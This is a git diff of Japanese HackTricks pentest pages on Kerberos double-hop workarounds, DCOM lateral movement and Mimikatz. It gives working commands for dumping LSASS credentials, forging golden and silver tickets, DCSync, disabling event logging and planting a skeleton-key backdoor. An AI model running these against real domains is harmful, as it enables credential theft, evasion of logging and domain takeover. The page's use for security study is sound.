ダブルホップの問題に対処するために、ネストされた `Invoke-Command` を使用する方法が提示されています。これは問題を直接解決するものではありませんが、特別な設定を必要とせずに回避策を提供します。このアプローチでは、最初の攻撃マシンから実行されたPowerShellコマンドまたは最初のサーバーとの以前に確立されたPS-Sessionを通じて、二次サーバー上でコマンド(`hostname`)を実行することができます。以下はその方法です:
|
||||
```powershell
|
||||
$cred = Get-Credential ta\redsuit
|
||||
Invoke-Command -ComputerName bizintel -Credential $cred -ScriptBlock {
|
||||
Invoke-Command -ComputerName secdev -Credential $cred -ScriptBlock {hostname}
|
||||
}
|
||||
```
|
||||
### リモート PSSession の確立
|
||||
代わりに、最初のサーバーとのPS-Sessionを確立し、`Invoke-Command`を`$cred`を使用して実行することが、タスクの中央集約に推奨されます。
|
||||
|
||||
最初のサーバーとの PS-Session を確立し、`$cred` を使用して `Invoke-Command` を実行することが、タスクを一元化するために提案されています。
|
||||
### PSSession構成の登録
|
||||
|
||||
### PSSession 構成の登録
|
||||
|
||||
ダブルホップ問題をバイパスする解決策として、`Register-PSSessionConfiguration` と `Enter-PSSession` を使用する方法があります。この方法は `evil-winrm` とは異なるアプローチが必要であり、ダブルホップの制限を受けないセッションを可能にします。
|
||||
ダブルホップ問題を回避するための解決策は、`Enter-PSSession`とともに`Register-PSSessionConfiguration`を使用することです。この方法は`evil-winrm`とは異なるアプローチを必要とし、ダブルホップの制限を受けないセッションを可能にします。
|
||||
```powershell
|
||||
Register-PSSessionConfiguration -Name doublehopsess -RunAsCredential domain_name\username
|
||||
Restart-Service WinRM
|
||||
Enter-PSSession -ConfigurationName doublehopsess -ComputerName <pc_name> -Credential domain_name\username
|
||||
klist
|
||||
```
|
||||
### ポートフォワーディング
|
||||
### PortForwarding
|
||||
|
||||
中間ターゲットのローカル管理者の場合、ポートフォワーディングを使用してリクエストを最終サーバーに送信できます。 `netsh`を使用して、ポートフォワーディングのためのルールを追加し、転送されたポートを許可するためのWindowsファイアウォールルールを追加します。
|
||||
中間ターゲットのローカル管理者にとって、ポートフォワーディングはリクエストを最終サーバーに送信することを可能にします。`netsh`を使用して、ポートフォワーディングのルールを追加し、転送されたポートを許可するWindowsファイアウォールルールを追加できます。
|
||||
```bash
|
||||
netsh interface portproxy add v4tov4 listenport=5446 listenaddress=10.35.8.17 connectport=5985 connectaddress=10.35.8.23
|
||||
netsh advfirewall firewall add rule name=fwd dir=in action=allow protocol=TCP localport=5446
|
||||
```
|
||||
#### winrs.exe
|
||||
|
||||
`winrs.exe`は、WinRMリクエストを転送するために使用でき、PowerShellの監視が懸念される場合には検出されにくいオプションとして機能します。以下のコマンドは、その使用方法を示しています:
|
||||
`winrs.exe` は、WinRM リクエストを転送するために使用でき、PowerShell モニタリングが懸念される場合には、検出されにくいオプションとして機能する可能性があります。以下のコマンドは、その使用法を示しています:
|
||||
```bash
|
||||
winrs -r:http://bizintel:5446 -u:ta\redsuit -p:2600leet hostname
|
||||
```
|
||||
### OpenSSH
|
||||
|
||||
最初のサーバーにOpenSSHをインストールすると、ジャンプボックスシナリオに特に有用なダブルホップの問題の回避策が可能になります。この方法では、Windows用のOpenSSHのCLIインストールとセットアップが必要です。パスワード認証用に構成されている場合、中間サーバーがユーザーの代わりにTGTを取得できるようになります。
|
||||
最初のサーバーにOpenSSHをインストールすることで、ダブルホップの問題に対する回避策が可能になり、特にジャンプボックスシナリオに役立ちます。この方法では、Windows用のOpenSSHのCLIインストールと設定が必要です。パスワード認証用に設定されると、これにより中間サーバーがユーザーの代わりにTGTを取得できます。
|
||||
|
||||
#### OpenSSHのインストール手順
|
||||
#### OpenSSH インストール手順
|
||||
|
||||
1. 最新のOpenSSHリリースzipをダウンロードして、対象サーバーに移動します。
|
||||
2. zipファイルを解凍し、`Install-sshd.ps1`スクリプトを実行します。
|
||||
3. ポート22を開くためのファイアウォールルールを追加し、SSHサービスが実行されていることを確認します。
|
||||
1. 最新のOpenSSHリリースzipをダウンロードしてターゲットサーバーに移動します。
|
||||
2. 解凍して`Install-sshd.ps1`スクリプトを実行します。
|
||||
3. ポート22を開くためのファイアウォールルールを追加し、SSHサービスが実行中であることを確認します。
|
||||
|
||||
`Connection reset`エラーを解決するには、アクセス許可を更新してOpenSSHディレクトリで誰もが読み取りおよび実行アクセスを許可する必要がある場合があります。
|
||||
`Connection reset`エラーを解決するには、OpenSSHディレクトリに対して全員が読み取りおよび実行アクセスを持つように権限を更新する必要があるかもしれません。
|
||||
```bash
|
||||
icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
|
||||
```
|
||||
## 参考
|
||||
## 参考文献
|
||||
|
||||
* [https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/understanding-kerberos-double-hop/ba-p/395463?lightbox-message-images-395463=102145i720503211E78AC20](https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/understanding-kerberos-double-hop/ba-p/395463?lightbox-message-images-395463=102145i720503211E78AC20)
|
||||
* [https://posts.slayerlabs.com/double-hop/](https://posts.slayerlabs.com/double-hop/)
|
||||
|
@ -108,14 +110,17 @@ icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
|
|||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)を使用して、ゼロからヒーローまでAWSハッキングを学ぶ</strong></summary>
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* [**公式PEASS&HackTricks swag**](https://peass.creator-spring.com)を入手してください
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
|
||||
* **ハッキングトリックを共有するために、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,19 @@
|
|||
# DCOM Exec
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* あなたは**サイバーセキュリティ会社**で働いていますか?あなたの**会社をHackTricksで宣伝したいですか**?それとも**最新のPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたいですか**?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**PEASSファミリー**](https://opensea.io/collection/the-peass-family)を発見してください。私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* **参加してください** [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に、または**私を** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**でフォローしてください。**
|
||||
* **あなたのハッキングトリックを共有するために、** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
|
@ -22,9 +25,9 @@
|
|||
|
||||
## MMC20.Application
|
||||
|
||||
**この技術に関する詳細は、[https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)の元の投稿をチェックしてください。**
|
||||
**この技術に関する詳細は、[https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)の元の投稿を確認してください。**
|
||||
|
||||
分散コンポーネントオブジェクトモデル(DCOM)オブジェクトは、オブジェクトとのネットワークベースの相互作用に対して興味深い機能を提供します。Microsoftは、DCOMおよびコンポーネントオブジェクトモデル(COM)に関する包括的なドキュメントを提供しており、[こちらでDCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx)と[こちらでCOM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx)にアクセスできます。DCOMアプリケーションのリストは、PowerShellコマンドを使用して取得できます:
|
||||
Distributed Component Object Model (DCOM) オブジェクトは、オブジェクトとのネットワークベースの相互作用に対して興味深い機能を提供します。Microsoftは、DCOMおよびComponent Object Model (COM)に関する包括的なドキュメントを提供しており、[こちらでDCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx)と[こちらでCOM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx)にアクセスできます。DCOMアプリケーションのリストは、PowerShellコマンドを使用して取得できます:
|
||||
```bash
|
||||
Get-CimInstance Win32_DCOMApplication
|
||||
```
|
||||
|
@ -54,14 +57,14 @@ ls \\10.10.10.10\c$\Users
|
|||
|
||||
**この技術に関する詳細は、元の投稿を確認してください [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)**
|
||||
|
||||
**MMC20.Application** オブジェクトは、明示的な "LaunchPermissions" が欠如しており、デフォルトで管理者のアクセスを許可する権限に設定されています。詳細については、スレッドを [こちら](https://twitter.com/tiraniddo/status/817532039771525120) で確認でき、明示的な Launch Permission がないオブジェクトをフィルタリングするために [@tiraniddo](https://twitter.com/tiraniddo) の OleView .NET の使用が推奨されます。
|
||||
**MMC20.Application** オブジェクトは、明示的な "LaunchPermissions" が欠如しており、デフォルトで管理者のアクセスを許可する権限に設定されています。詳細については、スレッドを [こちら](https://twitter.com/tiraniddo/status/817532039771525120) で確認でき、明示的な Launch Permission を持たないオブジェクトをフィルタリングするために [@tiraniddo](https://twitter.com/tiraniddo) の OleView .NET の使用が推奨されます。
|
||||
|
||||
特に、`ShellBrowserWindow` と `ShellWindows` の2つのオブジェクトは、明示的な Launch Permissions が欠如しているために強調されました。`HKCR:\AppID\{guid}` の下に `LaunchPermission` レジストリエントリが存在しないことは、明示的な権限がないことを示しています。
|
||||
特に、`ShellBrowserWindow` と `ShellWindows` の2つのオブジェクトは、明示的な Launch Permissions が欠如しているため、注目されました。`HKCR:\AppID\{guid}` の下に `LaunchPermission` レジストリエントリが存在しないことは、明示的な権限がないことを示しています。
|
||||
|
||||
### ShellWindows
|
||||
ProgID が欠如している `ShellWindows` に対しては、.NET メソッド `Type.GetTypeFromCLSID` と `Activator.CreateInstance` を使用して、その AppID を用いてオブジェクトのインスタンス化を行います。このプロセスでは、OleView .NET を利用して `ShellWindows` の CLSID を取得します。インスタンス化された後は、`WindowsShell.Item` メソッドを通じて相互作用が可能で、`Document.Application.ShellExecute` のようなメソッド呼び出しが行えます。
|
||||
|
||||
オブジェクトをインスタンス化し、リモートでコマンドを実行するための PowerShell コマンドの例が提供されました:
|
||||
オブジェクトをインスタンス化し、リモートでコマンドを実行するための PowerShell コマンドの例が提供されました:
|
||||
```powershell
|
||||
$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
|
||||
$obj = [System.Activator]::CreateInstance($com)
|
||||
|
|
|
@ -1,150 +1,152 @@
|
|||
# Mimikatz
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングトリックを共有するために、** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**このページは[adsecurity.org](https://adsecurity.org/?page\_id=1821)のページを元にしています**。詳細については元のページをご確認ください!
|
||||
**このページは [adsecurity.org](https://adsecurity.org/?page\_id=1821) のものに基づいています**。詳細については元のページを確認してください!
|
||||
|
||||
## メモリ内のLMハッシュとクリアテキスト
|
||||
## LM とメモリ内の平文
|
||||
|
||||
Windows 8.1およびWindows Server 2012 R2以降、資格情報の盗難に対する重要な対策が実施されています:
|
||||
Windows 8.1 および Windows Server 2012 R2 以降、資格情報の盗難を防ぐために重要な対策が実施されています:
|
||||
|
||||
- **LMハッシュと平文パスワード**はセキュリティを強化するためにメモリに保存されなくなりました。特定のレジストリ設定、_HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential"_ にDWORD値 `0` を設定してDigest認証を無効にし、LSASSに"クリアテキスト"パスワードがキャッシュされないようにする必要があります。
|
||||
- **LM ハッシュと平文のパスワード**は、セキュリティを強化するためにメモリに保存されなくなりました。特定のレジストリ設定、_HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential"_ を DWORD 値 `0` に設定してダイジェスト認証を無効にし、「平文」パスワードが LSASS にキャッシュされないようにする必要があります。
|
||||
|
||||
- **LSA Protection**は、ローカルセキュリティ機関(LSA)プロセスを未承認のメモリ読み取りやコードインジェクションから保護するために導入されました。これはLSASSを保護されたプロセスとしてマークすることで実現されます。LSA Protectionの有効化には以下が必要です:
|
||||
1. `RunAsPPL` を `dword:00000001` に設定して、レジストリを _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa_ で変更します。
|
||||
2. このレジストリ変更を管理されたデバイス全体に強制するグループポリシーオブジェクト(GPO)を実装します。
|
||||
- **LSA 保護**は、ローカル セキュリティ機関 (LSA) プロセスを不正なメモリ読み取りやコード注入から保護するために導入されました。これは、LSASS を保護されたプロセスとしてマークすることで実現されます。LSA 保護を有効にするには:
|
||||
1. _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa_ のレジストリを変更し、`RunAsPPL` を `dword:00000001` に設定します。
|
||||
2. このレジストリ変更を管理対象デバイス全体に強制するグループ ポリシー オブジェクト (GPO) を実装します。
|
||||
|
||||
これらの保護策にもかかわらず、MimikatzなどのツールはLSA Protectionを特定のドライバを使用して回避できますが、そのような行動はイベントログに記録される可能性があります。
|
||||
これらの保護にもかかわらず、Mimikatz のようなツールは特定のドライバーを使用して LSA 保護を回避できますが、そのような行動はイベントログに記録される可能性が高いです。
|
||||
|
||||
### SeDebugPrivilegeの削除に対抗する
|
||||
### SeDebugPrivilege 削除への対抗策
|
||||
|
||||
通常、管理者にはプログラムのデバッグを許可するSeDebugPrivilegeがあります。この特権は、攻撃者がメモリから資格情報を抽出するために使用する一般的なテクニックである無許可のメモリダンプを防ぐために制限できます。ただし、この特権が削除されていても、TrustedInstallerアカウントはカスタマイズされたサービス構成を使用してメモリダンプを実行できます。
|
||||
管理者は通常、プログラムをデバッグするための SeDebugPrivilege を持っています。この特権は、不正なメモリダンプを防ぐために制限されることがあります。これは、攻撃者がメモリから資格情報を抽出するために使用する一般的な手法です。しかし、この特権が削除されても、TrustedInstaller アカウントはカスタマイズされたサービス構成を使用してメモリダンプを実行できます:
|
||||
```bash
|
||||
sc config TrustedInstaller binPath= "C:\\Users\\Public\\procdump64.exe -accepteula -ma lsass.exe C:\\Users\\Public\\lsass.dmp"
|
||||
sc start TrustedInstaller
|
||||
```
|
||||
これにより、`lsass.exe`のメモリをファイルにダンプし、その後別のシステムで分析して資格情報を抽出することができます。
|
||||
これにより、`lsass.exe` メモリをファイルにダンプすることができ、その後別のシステムで分析して資格情報を抽出できます:
|
||||
```
|
||||
# privilege::debug
|
||||
# sekurlsa::minidump lsass.dmp
|
||||
# sekurlsa::logonpasswords
|
||||
```
|
||||
## Mimikatzのオプション
|
||||
## Mimikatz Options
|
||||
|
||||
Mimikatzでのイベントログ改ざんには、主に2つのアクションが関与します:イベントログの消去と新しいイベントの記録を防ぐためにイベントサービスをパッチすることです。以下はこれらのアクションを実行するためのコマンドです:
|
||||
Mimikatzにおけるイベントログの改ざんは、主に2つのアクションを含みます:イベントログのクリアと新しいイベントのログ記録を防ぐためのイベントサービスのパッチ。以下は、これらのアクションを実行するためのコマンドです:
|
||||
|
||||
#### イベントログの消去
|
||||
#### Clearing Event Logs
|
||||
|
||||
- **コマンド**:このアクションはイベントログを削除し、悪意のある活動を追跡するのを困難にします。
|
||||
- Mimikatzは、標準ドキュメントで直接イベントログを消去するためのコマンドを提供していません。ただし、イベントログの操作は通常、Mimikatzのコマンドラインを介して直接行うのではなく、特定のログを消去するためにシステムツールやスクリプトを使用することが一般的です(例:PowerShellやWindowsイベントビューアを使用)。
|
||||
- **Command**: このアクションは、イベントログを削除することを目的としており、悪意のある活動を追跡することを難しくします。
|
||||
- Mimikatzは、コマンドラインを介してイベントログを直接クリアするための直接的なコマンドを標準のドキュメントには提供していません。しかし、イベントログの操作は通常、特定のログをクリアするためにMimikatzの外部でシステムツールやスクリプトを使用することを含みます(例:PowerShellやWindows Event Viewerを使用)。
|
||||
|
||||
#### 実験的機能:イベントサービスのパッチ
|
||||
#### Experimental Feature: Patching the Event Service
|
||||
|
||||
- **コマンド**:`event::drop`
|
||||
- この実験的なコマンドは、イベントログサービスの動作を変更し、新しいイベントの記録を防ぐように設計されています。
|
||||
- 例:`mimikatz "privilege::debug" "event::drop" exit`
|
||||
- **Command**: `event::drop`
|
||||
- この実験的なコマンドは、イベントログサービスの動作を変更するように設計されており、新しいイベントの記録を効果的に防ぎます。
|
||||
- Example: `mimikatz "privilege::debug" "event::drop" exit`
|
||||
|
||||
- `privilege::debug`コマンドは、Mimikatzがシステムサービスを変更するために必要な特権で動作することを確認します。
|
||||
- `event::drop`コマンドは、その後イベントログサービスをパッチします。
|
||||
- `privilege::debug`コマンドは、Mimikatzがシステムサービスを変更するために必要な特権で動作することを保証します。
|
||||
- 次に、`event::drop`コマンドがイベントログサービスをパッチします。
|
||||
|
||||
|
||||
### Kerberosチケット攻撃
|
||||
### Kerberos Ticket Attacks
|
||||
|
||||
### ゴールデンチケットの作成
|
||||
### Golden Ticket Creation
|
||||
|
||||
ゴールデンチケットはドメイン全体へのアクセス権限を与えます。主要なコマンドとパラメータ:
|
||||
ゴールデンチケットは、ドメイン全体のアクセスのなりすましを可能にします。主なコマンドとパラメータ:
|
||||
|
||||
- コマンド:`kerberos::golden`
|
||||
- パラメータ:
|
||||
- `/domain`:ドメイン名。
|
||||
- `/sid`:ドメインのセキュリティ識別子(SID)。
|
||||
- `/user`:なりすますユーザー名。
|
||||
- `/krbtgt`:ドメインのKDCサービスアカウントのNTLMハッシュ。
|
||||
- `/ptt`:チケットを直接メモリに注入します。
|
||||
- `/ticket`:後で使用するためにチケットを保存します。
|
||||
- Command: `kerberos::golden`
|
||||
- Parameters:
|
||||
- `/domain`: ドメイン名。
|
||||
- `/sid`: ドメインのセキュリティ識別子(SID)。
|
||||
- `/user`: なりすますユーザー名。
|
||||
- `/krbtgt`: ドメインのKDCサービスアカウントのNTLMハッシュ。
|
||||
- `/ptt`: チケットをメモリに直接注入します。
|
||||
- `/ticket`: 後で使用するためにチケットを保存します。
|
||||
|
||||
例:
|
||||
Example:
|
||||
```bash
|
||||
mimikatz "kerberos::golden /user:admin /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /krbtgt:ntlmhash /ptt" exit
|
||||
```
|
||||
### Silver Ticket Creation
|
||||
|
||||
Silver Ticketsは特定のサービスへのアクセスを許可します。主要なコマンドとパラメータは以下の通りです:
|
||||
Silver Ticketsは特定のサービスへのアクセスを許可します。主なコマンドとパラメータ:
|
||||
|
||||
- コマンド: Golden Ticketに似ていますが、特定のサービスを対象とします。
|
||||
- パラメータ:
|
||||
- `/service`: ターゲットとするサービス(例: cifs、http)。
|
||||
- その他のパラメータはGolden Ticketと類似しています。
|
||||
- コマンド:Golden Ticketに似ていますが、特定のサービスをターゲットにします。
|
||||
- パラメータ:
|
||||
- `/service`:ターゲットとするサービス(例:cifs、http)。
|
||||
- その他のパラメータはGolden Ticketに似ています。
|
||||
|
||||
例:
|
||||
例:
|
||||
```bash
|
||||
mimikatz "kerberos::golden /user:user /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /target:service.example.com /service:cifs /rc4:ntlmhash /ptt" exit
|
||||
```
|
||||
### 信頼チケットの作成
|
||||
### Trust Ticket Creation
|
||||
|
||||
信頼チケットは、信頼関係を活用して異なるドメイン間のリソースにアクセスするために使用されます。主要なコマンドとパラメーターは以下の通りです:
|
||||
Trust Ticketsは、信頼関係を利用してドメイン間でリソースにアクセスするために使用されます。主なコマンドとパラメータ:
|
||||
|
||||
- コマンド: 信頼関係用のゴールデンチケットに類似したもの。
|
||||
- パラメーター:
|
||||
- `/target`: ターゲットドメインのFQDN。
|
||||
- `/rc4`: 信頼アカウントのNTLMハッシュ。
|
||||
- Command: Golden Ticketに似ていますが、信頼関係用です。
|
||||
- Parameters:
|
||||
- `/target`: 対象ドメインのFQDN。
|
||||
- `/rc4`: 信頼アカウントのNTLMハッシュ。
|
||||
|
||||
例:
|
||||
Example:
|
||||
```bash
|
||||
mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123456789-123456789 /sids:S-1-5-21-987654321-987654321-987654321-519 /rc4:ntlmhash /user:admin /service:krbtgt /target:parent.example.com /ptt" exit
|
||||
```
|
||||
### 追加のKerberosコマンド
|
||||
|
||||
- **チケットのリスト表示**:
|
||||
- **チケットのリスト**:
|
||||
- コマンド: `kerberos::list`
|
||||
- 現在のユーザーセッションのすべてのKerberosチケットをリスト表示します。
|
||||
- 現在のユーザーセッションのすべてのKerberosチケットをリストします。
|
||||
|
||||
- **キャッシュのパス**:
|
||||
- **キャッシュをパスする**:
|
||||
- コマンド: `kerberos::ptc`
|
||||
- キャッシュファイルからKerberosチケットを注入します。
|
||||
- 例: `mimikatz "kerberos::ptc /ticket:ticket.kirbi" exit`
|
||||
|
||||
- **チケットのパス**:
|
||||
- **チケットをパスする**:
|
||||
- コマンド: `kerberos::ptt`
|
||||
- 他のセッションでKerberosチケットを使用できるようにします。
|
||||
- 別のセッションでKerberosチケットを使用できるようにします。
|
||||
- 例: `mimikatz "kerberos::ptt /ticket:ticket.kirbi" exit`
|
||||
|
||||
- **チケットのクリア**:
|
||||
- **チケットを消去する**:
|
||||
- コマンド: `kerberos::purge`
|
||||
- セッションからすべてのKerberosチケットをクリアします。
|
||||
- 衝突を避けるためにチケット操作コマンドを使用する前に便利です。
|
||||
|
||||
- チケット操作コマンドを使用する前に、競合を避けるために便利です。
|
||||
|
||||
### Active Directoryの改ざん
|
||||
|
||||
- **DCShadow**: 一時的にマシンをDCとして操作してADオブジェクトを操作します。
|
||||
- **DCShadow**: ADオブジェクト操作のために一時的にマシンをDCとして機能させます。
|
||||
- `mimikatz "lsadump::dcshadow /object:targetObject /attribute:attributeName /value:newValue" exit`
|
||||
|
||||
- **DCSync**: DCを模倣してパスワードデータをリクエストします。
|
||||
- **DCSync**: DCを模倣してパスワードデータを要求します。
|
||||
- `mimikatz "lsadump::dcsync /user:targetUser /domain:targetDomain" exit`
|
||||
|
||||
### 資格情報アクセス
|
||||
### 認証情報アクセス
|
||||
|
||||
- **LSADUMP::LSA**: LSAから資格情報を抽出します。
|
||||
- **LSADUMP::LSA**: LSAから認証情報を抽出します。
|
||||
- `mimikatz "lsadump::lsa /inject" exit`
|
||||
|
||||
- **LSADUMP::NetSync**: コンピューターアカウントのパスワードデータを使用してDCを偽装します。
|
||||
- *元のコンテキストにはNetSyncのための特定のコマンドが提供されていません。*
|
||||
- **LSADUMP::NetSync**: コンピュータアカウントのパスワードデータを使用してDCを偽装します。
|
||||
- *元の文脈ではNetSyncのための特定のコマンドは提供されていません。*
|
||||
|
||||
- **LSADUMP::SAM**: ローカルSAMデータベースにアクセスします。
|
||||
- `mimikatz "lsadump::sam" exit`
|
||||
|
||||
- **LSADUMP::Secrets**: レジストリに保存されたシークレットを復号化します。
|
||||
- **LSADUMP::Secrets**: レジストリに保存された秘密を復号化します。
|
||||
- `mimikatz "lsadump::secrets" exit`
|
||||
|
||||
- **LSADUMP::SetNTLM**: ユーザーの新しいNTLMハッシュを設定します。
|
||||
|
@ -155,20 +157,20 @@ mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123
|
|||
|
||||
### その他
|
||||
|
||||
- **MISC::Skeleton**: DCのLSASSにバックドアを注入します。
|
||||
- **MISC::Skeleton**: DC上のLSASSにバックドアを注入します。
|
||||
- `mimikatz "privilege::debug" "misc::skeleton" exit`
|
||||
|
||||
### 特権昇格
|
||||
### 権限昇格
|
||||
|
||||
- **PRIVILEGE::Backup**: バックアップ権限を取得します。
|
||||
- `mimikatz "privilege::backup" exit`
|
||||
|
||||
- **PRIVILEGE::Debug**: デバッグ特権を取得します。
|
||||
- **PRIVILEGE::Debug**: デバッグ権限を取得します。
|
||||
- `mimikatz "privilege::debug" exit`
|
||||
|
||||
### 資格情報ダンプ
|
||||
### 認証情報ダンプ
|
